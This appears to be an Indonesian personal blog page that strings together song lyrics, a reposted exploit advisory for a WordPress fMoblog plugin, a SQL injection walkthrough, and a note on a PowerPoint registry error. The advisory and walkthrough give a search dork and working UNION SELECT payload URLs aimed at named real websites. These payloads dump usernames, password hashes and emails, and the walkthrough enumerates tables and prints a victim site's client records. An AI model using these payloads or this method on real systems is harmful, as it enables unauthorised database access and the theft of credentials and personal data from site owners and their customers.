bosen nyari exploit, jiwa gue lg nge-drop, gue mo nyanyi lagunya D'Nasib, ups.. D'Masiv.

D’Masiv – Jangan Menyerah

tak ada manusia
yang terlahir sempurna
jangan kau sesali
segala yang telah terjadi

kita pasti pernah
dapatkan cobaan yang berat
seakan hidup ini
tak ada artinya lagi

reff1:
syukuri apa yang ada
hidup adalah anugerah
tetap jalani hidup ini
melakukan yang terbaik

tak ada manusia
yang terlahir sempurna
jangan kau sesali
segala yang telah terjadi

reff2:
Tuhan pasti kan menunjukkan
kebesaran dan kuasanya
bagi hambanya yang sabar
dan tak kenal putus asa

#############################################################
# Wordpress Plugin fMoblog Remote SQL Injection Vulnerability
# Plugin Home: http://www.fahlstad.se/wp-plugins/fmoblog/
# Plugin Version: 2.1
# Author: strange kevin
# Email: strange.kevin@gmail.com
# Google Dork: "Gallery powered by fMoblog"
##############################################################

# Exploit:
http://www.site.com/?page_id=[valid_id]&id=-999+union+all+select+1,2,3,4,group_concat(user_login,0x3a,user_pass,0x3a,user_email),6+from+wp_users--

# Demo:
http://www.tarynitup.com/?page_id=20&id=-999+union+all+select+1,2,3,4,group_concat(user_login,0x3a,user_pass,0x3a,user_email),6+from+wp_users--

##############################################################
# Greetz: str0ke and milw0rm.com
##############################################################

POC:

http://www.evilredduck.com/?page_id=7&id=-30+union+all+select+1,2,3,4,group_concat%28user_login,0x3a,user_pass,0x3a,user_email%29,6+from+wp_users--
http://www.rantbox.org/?page_id=590&id=-18+union+all+select+1,2,3,4,group_concat%28user_login,0x3a,user_pass,0x3a,user_email%29,6+from+wp_users--

note: sql version 5.x.x

http://www.teledata.co.id/news_detail.php?nid=-10%20union%20all%20select%201,GROUP_CONCAT%28username,password,full_name,create_date,last_update%29,3,4%20FROM+iters_users--

wow,,, admin-nya seorang wanita, suit suit... sibuk ke salon kali ya ampe lupa update website-nya. Moso' last update 1 tahun yg lalu, ck ck ck ...

inspired by vyc0d

Dork:

Target:
box clever ::: news ::: 2 New WRPS Websites Launched ::: intelligent digital media

beri tanda petik (‘)
http://www.boxclever.ca/news.php?id=92’
muncul error:

berarti site ini Vuln, setelah terdapat error seperti di atas gunakan perintah ORDER BY untuk panjang column, dan jangan lupa gunakan “--“ di belakang angka yang di masukan.

box clever ::: news ::: 2 New WRPS Websites Launched ::: intelligent digital media
tidak menampilkan eror, coba gunakan order by 6

http://www.boxclever.ca/news.php?id=...der%20by%206--
ternyata muncul error:
Unknown column '6' in 'order clause'

order by 6 site mengeluarkan error seperti Unknown column ‘6’ in 'order clause' berarti panjang column tidak sampai 6

box clever ::: news ::: 2 New WRPS Websites Launched ::: intelligent digital media
udah ga muncul error.

Tambahkan tanda “-” didepan angka 92 dan gunakan perintah UNION+ALL+SELECT+1,2,3,4,5--
box clever ::: news ::: 3 ::: intelligent digital media
muncul angka ini:

Ganti angka 3 atau 1 atau 4 dengan version(). Saya gantikan angka 3.
box clever ::: news ::: 5.0.51a-log ::: intelligent digital media
muncul:
5.0.51a-log
Berarti sql Version 5

setelah mengetahui versinya ganti perintah VERSION() dengan GROUP_CONCAT(TABLE_NAME) serta berikan perintah FROM+INFORMATION_SCHEMA.TABLES+WHERE+TABLE_SCHEMA= DATABASE()-- di belakang column, perintah tersebut untuk mengetahui nama nama table pada database;)
box clever ::: news ::: client_info,contact,customersurvey,featured_projec t,news,project,project_level,project_status,projec t_type,provinces,rfp,uploads ::: intelligent digital media
muncul:
konversi client_info ke hexadecimal = 636c69656e745f696e666f
box clever ::: news ::: client_id,client_name,client_street,client_city,cl ient_province,client_pc,client_notes ::: intelligent digital media
muncul:
box clever ::: news ::: +�cole Rudolph Hennig School9512 - 92 St.Fort SaskatchewanABT8L 1L7Peter & Judy,+ParagondsdsaadsEdmontonABdsadsdadsadsads,+Ro cky Point EngineeringsadasdNanaimoBCdsaadssadsadads,+Drive By PunchsadsdsaLeducABdsdsadsdssaasdadsasd

I got information :)

"You are attempting to open a file type that is blocked by your registry policy setting."

Begitulah error yang muncul saat membuka salah satu file Ms PowerPoint. Ternyata penyebabnya adalah Microsoft Office saya sudah SP3, sehingga registrynya mengeblok. Setelah konsul ke paman googel, akhirnya menemukan solusinya disini